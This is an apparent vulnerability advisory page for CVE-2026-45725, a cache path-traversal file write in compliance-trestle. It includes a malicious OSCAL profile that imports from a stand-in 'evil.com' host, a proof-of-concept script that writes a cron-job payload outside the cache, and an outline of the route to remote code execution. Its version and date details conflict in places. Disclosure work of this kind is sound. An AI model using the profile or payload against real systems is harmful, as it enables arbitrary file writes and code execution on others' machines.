Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-45725 — compliance-trestle

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-73 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

compliance-trestle Remote Fetching Mechanism has an Arbitrary File Write via Cache Path Traversal

Summary

The compliance-trestle library's remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (../). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location outside the intended cache directory, enabling arbitrary file write with attacker-controlled content to the filesystem.

Attack chain: Malicious OSCAL profile → HTTPS fetch → cache path traversal → arbitrary file write → RCE (via cron, SSH keys, etc.)

Affected Component

Repository: https://github.com/IBM/compliance-trestle

File: trestle/core/remote/cache.py (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher)

Version: v4.0.2 (latest as of 2026-04-30)

Vulnerable Code

cache.py:259-266 — HTTPSFetcher cache path construction

```python

class HTTPSFetcher(FetcherBase):

def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:

# ...

u = parse.urlparse(self._uri)

# ...

if u.hostname is None:

raise TrestleError(f'Cache request for {self._uri} requires hostname')

https_cached_dir = self._trestle_cache_path / u.hostname

# ❌ path_parent preserves ../ sequences from URL

path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent

https_cached_dir = https_cached_dir / path_parent

https_cached_dir.mkdir(parents=True, exist_ok=True) # ❌ Creates dirs outside cache

self._cached_object_path = https_cached_dir / pathlib.Path(pathlib.Path(u.path).name)

```

cache.py:285-295 — Content written to traversed path

```python

def _do_fetch(self) -> None:

# ...

response = requests.get(self._url, auth=auth, verify=verify, timeout=30)

if response.status_code == 200:

result = response.text # ❌ Attacker-controlled content

self._cached_object_path.write_text(result) # ❌ Written to arbitrary path

```

cache.py:328-333 — SFTPFetcher (identical pattern)

```python

class SFTPFetcher(FetcherBase):

def __init__(self, ...):

# Identical path construction — same vulnerability

sftp_cached_dir = self._trestle_cache_path / u.hostname

path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent

sftp_cached_dir = sftp_cached_dir / path_parent

sftp_cached_dir.mkdir(parents=True, exist_ok=True)

self._cached_object_path = sftp_cached_dir / pathlib.Path(pathlib.Path(u.path).name)

```

Root Cause:

1. urlparse("https://evil.com/../../../tmp/pwned.json").path = /../../../tmp/pwned.json — preserves ../

2. pathlib.Path(u.path).parent preserves traversal sequences

3. cache_dir / hostname / "../../../../../../tmp" resolves outside cache

4. mkdir(parents=True, exist_ok=True) creates intermediate directories

5. write_text(response.text) writes attacker-controlled content to traversed path

6. No is_relative_to() boundary check on the resolved path

Steps to Reproduce

Prerequisites

```bash

pip install compliance-trestle==4.0.2

```

PoC: Malicious OSCAL Profile

```yaml

# malicious_profile.yaml — arbitrary file write via cache traversal

profile:

uuid: "550e8400-e29b-41d4-a716-446655440000"

metadata:

title: "Malicious Profile"

version: "1.0"

last-modified: "2024-01-01T00:00:00+00:00"

oscal-version: "1.0.4"

imports:

  • href: "https://evil.com/../../../../../../../tmp/trestle_pwned.json"

```

PoC: Cache Path Traversal Simulation

```python

#!/usr/bin/env python3

"""PoC: Cache path traversal → arbitrary file write"""

import os, re, tempfile, shutil

from pathlib import Path

from urllib.parse import urlparse

# Simulate trestle cache behavior (cache.py:259-266)

trestle_root = Path(tempfile.mkdtemp(prefix="trestle_poc_"))

cache_dir = trestle_root / ".trestle" / ".cache"

cache_dir.mkdir(parents=True, exist_ok=True)

evil_url = "https://evil.com/../../../../../../../tmp/trestle_pwned.json"

u = urlparse(evil_url)

# Exact trestle code path

cached_dir = cache_dir / u.hostname

m = re.search(r'[^/\\\\]', u.path)

path_parent = Path(u.path[m.span()[0]:]).parent

cached_dir = cached_dir / path_parent

cached_dir.mkdir(parents=True, exist_ok=True)

cached_file = cached_dir / Path(Path(u.path).name)

print(f"Cache dir: {cache_dir}")

print(f"Resolved write target: {cached_file.resolve()}")

# Output: /tmp/trestle_pwned.json ← OUTSIDE cache directory!

# Write attacker content

attacker_payload = '*/5 * * * * root /bin/bash -c "id > /tmp/rce_proof"'

cached_file.write_text(attacker_payload)

print(f"Written: {cached_file.resolve().read_text()}")

# Cleanup

os.remove(str(cached_file.resolve()))

shutil.rmtree(str(trestle_root))

```

Expected: Write confined to .trestle/.cache/

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. Rated impact: confidentiality none, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Attack requirements: None — no deployment-specific condition has to hold.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Confidentiality impact: None.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Weakness class

CVE-2026-45725 is classified as CWE-73: External Control of File Name or Path. A caller can influence which file the application opens or writes, extending an operation to files that were never meant to be reachable.

Affected software

CVE-2026-45725 is recorded against 2 packages.

  • compliance-trestle (fixed in 3.12.2)
  • unknown

Timeline and source

Published on 27 May 2026 and last revised on 13 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Web)
github.com (Web)
github.com (Package)

Other advisories for this package

compliance-trestle has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-73: External Control of File Name or Path) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
CWE CWE-73
Public Exploit ✅ No
Source NVD
Published 2026-05-27
Updated 2026-08-20
Modified 2026-07-13
Fix URL N/A

Affected Packages

Software From version Fixed in
compliance-trestle 3.12.2
unknown

Similar Threats

Site Security Check

Is compliance-trestle part of your stack?

CVE-2026-45725 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026